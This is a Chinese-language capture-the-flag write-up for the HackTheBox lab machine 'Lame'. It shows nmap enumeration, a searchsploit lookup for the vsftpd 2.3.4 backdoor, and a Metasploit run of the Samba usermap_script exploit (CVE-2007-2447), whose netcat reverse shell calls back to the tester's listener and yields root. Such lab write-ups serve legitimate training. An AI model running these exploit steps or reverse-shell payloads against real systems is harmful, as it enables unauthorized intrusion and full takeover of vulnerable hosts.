Lame
今天随便乱逛发现这台机器貌似是 HackTheBox 平台的第一台机器，而且我还没做过，从简介上来看的话是一台很简单的机器，快快的玩一下
Enumeration
nmap
首先用 nmap 扫描一下常见的端口，发现系统对外开放了 21,22,139,445 端口。然后在针对这 4 个端口扫描详细信息，可以看到 21 端口运行的 ftp 版本为 vsftpd 2.3.4，而且也允许匿名登录，但是使用 anonymous 登录进去后发现目录是空的
┌──(kali㉿kali)-[~/vegetable/HTB/Lame]
└─$ nmap -sC -sV -p 21,22,139,445 10.10.10.3 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-07 22:51 EDT
Nmap scan report for 10.10.10.3
Host is up (0.91s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.13
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp filtered ssh
139/tcp filtered netbios-ssn
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OS: Unix
Host script results:
|_clock-skew: mean: 1h56m42s, deviation: 2h49m44s, median: -3m19s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2024-04-07T22:49:09-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.73 seconds21/ftp vsftpd 2.3.4
这个版本存在后门漏洞，我利用了一下并没有成功，也不想过多纠结，直接 smb
┌──(kali㉿kali)-[~/vegetable/HTB/Lame]
└─$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results445/Samba
可以直接使用 metasploit 框架，利用 CVE-2007-2447 漏洞
┌──(kali㉿kali)-[~/vegetable/HTB/Lame]
└─$ msfconsole
.,,. .
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d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
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d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v6.2.26-dev ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/
msf6 > exploit/multi/samba/usermap_script
[-] Unknown command: exploit/multi/samba/usermap_script
This is a module we can load. Do you want to use exploit/multi/samba/usermap_script? [y/N] y
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.50.105 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.3:48732) at 2024-04-07 23:38:42 -0400
shell
[*] Trying to find binary 'python' on the target machine
whoami[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
root@lame:/#
root@lame:/#
root@lame:/# whoami
root
很老的一台机器了，不想再过多纠结，就这样吧！
